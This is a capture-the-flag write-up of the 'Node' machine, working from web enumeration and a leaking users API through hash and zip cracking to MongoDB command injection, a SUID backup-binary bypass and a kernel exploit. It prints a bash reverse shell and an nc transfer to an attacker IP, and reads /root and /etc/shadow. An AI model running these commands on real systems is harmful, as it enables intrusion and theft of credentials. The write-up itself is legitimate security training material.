Hackthebox - Node / TryHackMe - Node 1 Writeup
This machine was originally released on hackthebox back in 2018. It is now on tryhackme as well as “Node 1”.
As usual we add the machine IP to our /etc/hosts file as “node1.thm”
echo "10.10.21.105 node1.thm" >> /etc/hosts
Nmap Scan
Open ports:
- 22/tcp open ssh
- 3000/tcp open ppp
Enumeration
Port 3000
We find a webserver running on the port 3000. Going over to http://node1.thm:3000, we find the following
ffuf fuzzing
Trying to fuzz the URL, we see that any wrong URI redirects to the home page. SO lets filter out the home page responses havein the word count 727.
ffuf -c -w /usr/share/dirbuster/directory-list-2.3-medium.txt -u http://node1.thm:3000/FUZZ -e .txt,.js -fw 727
We found some directories: * content * assets
But we don’t have permissions to view them and they redirect to the home page
Looking at the source
We try having a look at the source of the login page and find some interesting js files linked there.
We have a look at those js sources and try to get an idea about the app. Looking at the source, it seems to be running Expressjs.
What seems interesting is the file profile.js
at
http://node1.thm:3000/assets/js/app/controllers/profile.js
which basically shows the profile of a user if the user exists. And that
user is checked from the directory /api/users/
. Lets check
if we can view the users going over to the URI.
curl http://node1.thm:3000/api/users/
And we can! The URL gives us a json file containing the username and passwords. We see that the first user has “is_admin” set to true. So that’s our admin user.
{
"_id":"59a7365b98aa325cc03ee51c",
"username":"myP14ceAdm1nAcc0uNT",
"password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af", "is_admin":true }
The password seems to be hashed. We pass it to crackstation to crack and get the cracked password. The password was hashed with sha256
Creds found:
User: myP14ceAdm1nAcc0uNT
Password: manchester
Admin login
We login with the found creds and get the link to a backup file.
We try downloading the backup but for some reason, it kept getting
failed. Curl to the rescue! We intercept the request with the login
cookie and use curl to get the file. The request file named
req
is as follows
GET /api/admin/backup HTTP/1.1
Host: node1.thm:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:77.0) Gecko/20100101
Firefox/77.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://node1.thm:3000/admin
Cookie:
connect.sid=s%3AmRKtCyf3LqJLawtuaTd9TWYb_qG26wXF.DV1fvdf4Vdw2iDCMMDD7rN66CHfb%2BU4JyXoE57g%2Byts Upgrade-Insecure-Requests: 1
Then we use curl to get the file
curl -H @req node1.thm:3000/api/admin/backup > myplace.backup
Backup file
Looking at the contents of the backup file, it seems to be base64 encoded. And so we decode it.
cat myplace.backup | base64 -d > myplace
With the file
command, we see that it is a zip file.
Let’s try decompressing it.
mv myplace myplace.zip
unzip myplace.zip
But the file “var/www/myplace/package-lock.json” is password locked
Zip file password crack with John
We use john to crack the zip file password
zip2john myplace.zip -o var/www/myplace/package-lock.json > myplace.hash
john myplace.hash --wordlist=/usr/share/wordlists/rockyou..txt
And we get the cracked password!
Password: magicword
We unzip the file using the password.
Privilege Escalation - User mark
We look at the files in the backup folder. We see the file app.js that contains the monngodb url containing user creds for the user mark.
mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace
Creds found:
User: mark
Password : 5AYRft73VtFpc84k
We try ssh ing into the box with these creds and succeed.
Privilege Escalation - User mark
We transfer and run the linpeas.sh privesc script on the target.
python3 -m http.server
wget http://10.9.17.253:8000/linpeas.sh
bash linpeas.sh
We find an interesting process running on the target.
We find another app.js running from /var/scheduler/app.js. We had a look at the app.js in myplace directory. Let’s have a look at this app. Looking into it, we find a new mongodb uri for a database name “scheduler”. Previously, we had found the database named “myplace”
const exec = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID = require('mongodb').ObjectID;
const url
= 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
MongoClient.connect(url, function(error, db) {
if (error || !db) {
console.log('[!] Failed to connect to mongodb');
return;
}
setInterval(function () {
db.collection('tasks').find().toArray(function (error, docs) {
if (!error && docs) {
docs.forEach(function (doc) {
if (doc) {
console.log('Executing task ' + doc._id + '...');
exec(doc.cmd); <-----------------------------------------------
db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
}
});
}
else if (error) {
console.log('Something went wrong: ' + error);
}
});
}, 30000);
});
Here we see that, the app tries to read the value of “cmd” from the collection named “tasks” in the database “scheduler”, executes it as user “tom” and deletes it. So we have command execution as user tom here. Let’s try to get a shell back
So, we try viewing the database “scheduler” as user mark using
mongo
mongo -u mark -p 5AYRft73VtFpc84k scheduler
We see that the database has a collection named “tasks”. Lets set our reverse shell command in the “cmd” value. We create a script named “shell.sh” in the /tmp folder.
#!/bin/sh
bash -i >& /dev/tcp/10.9.17.253/1337 0>&1
And we insert the cmd value in the mongodb.
> db.tasks.insert( { cmd: "bash /tmp/shell.sh" } );
Now, we wait to get our reverse shell back. And after some time, get it.
Privilege Escalation - root
Method 1 - exploiting the backup program
We look for any suid files using find
find / -perm /4000 2> /dev/null
And we find the following:
The /usr/local/bin/backup file seems interesting. Having a look at its permissions, we see that it is owned by root and has the admin group ownership. And our user tom is a member of the group admin and so we can run this.
Looking back at the app.js file found in the backup of the app “myplace” we can have some idea about what the backup program does.
.get('/api/admin/backup', function (req, res) {
appif (req.session.user && req.session.user.is_admin) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
----------------------------------------------------
var backup = '';
.on("exit", function(exitCode) {
proc.header("Content-Type", "text/plain");
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
res;
})
.stdout.on("data", function(chunk) {
proc+= chunk;
backup ; })
So the program takes the “backup_key” and the directory to backup as the argument. We can find the backup key in the app.js file as we..
const backup_key
= '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
Now, we can try to backup the “/root” folder.
/usr/local/bin/backup -q \
\
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
And we get the backup as base64 encoded text.
We base64 decode the text to get the backup as a zip file. And unzip it.
cat backup | base64 -d > backup.zip
7z x backup.zip # Unzip won't work
And we are prompted for a password for the root.txt file. We try the password we found before for zip, “magicword”.
Now we extract using the found password to get the root.txt. And we find this.
So what happened here? Lets have a deeper look at the /usr/bin/local/backup program. We see that the machine has ltrace installed. Lets try passing the program through strace.
ltrace /usr/local/bin/backup -q \
\
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
In the output, we see that the directory to be backed up is matched with some strings like “..”, “/root” and if it matches, something else predifined is written into the backup. Lets try backing up a normal user folder and check what strings the folder name is compared to.
ltrace /usr/local/bin/backup -q \
\
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /home/tom
Here we get a complete list of strings the supplied foldername is comapred to. So we have to pass something else to get the backup. We see that though we are not allowed to backup “/root”. But “root” is not blacklisted. So if change our current working directory to “/” and try backing up “root”, we should get it.
/usr/local/bin/backup -q \
\
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 > /tmp/backup root
And we transfer the backup to our local machine using nc
nc 10.9.17.253 4444 < /tmp/backup
nc -lnvp 4444 > backup
And we repeat the previous steps to decode and unzip the backup.
cat backup | base64 -d > backup.zip
7z x backup.zip
And we get the root directory! With the root.txt file in it.
Let’s try getting the /etc/shadow file. For that we go into the /etc directory and run
/usr/local/bin/backup -q \
\
45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 > shadow.bak shadow
And we repeat the steps of decoding and unzipping it with the password magicword. And we get our password shadows.
Method 2- kernel privesc
We have a look at the kernel version the machine is running on
$ uname -a
Linux node 4.4.0-93-generic #116-Ubuntu SMP Fri Aug 11 21:17:51 UTC 2017 x86_64
x86_64 x86_64 GNU/Linux
We search for kernel 4.4.0 exploit using searchsploit
searchsploit 4.4.0
And we find a kernel privesc for this kernel version.
We mirror the exploit and transfer it to the target.
searchsploit -m 44298
On the target, we compile it with gcc, and run the executable to get a root shell
gcc 44298.c -o pwn
./44298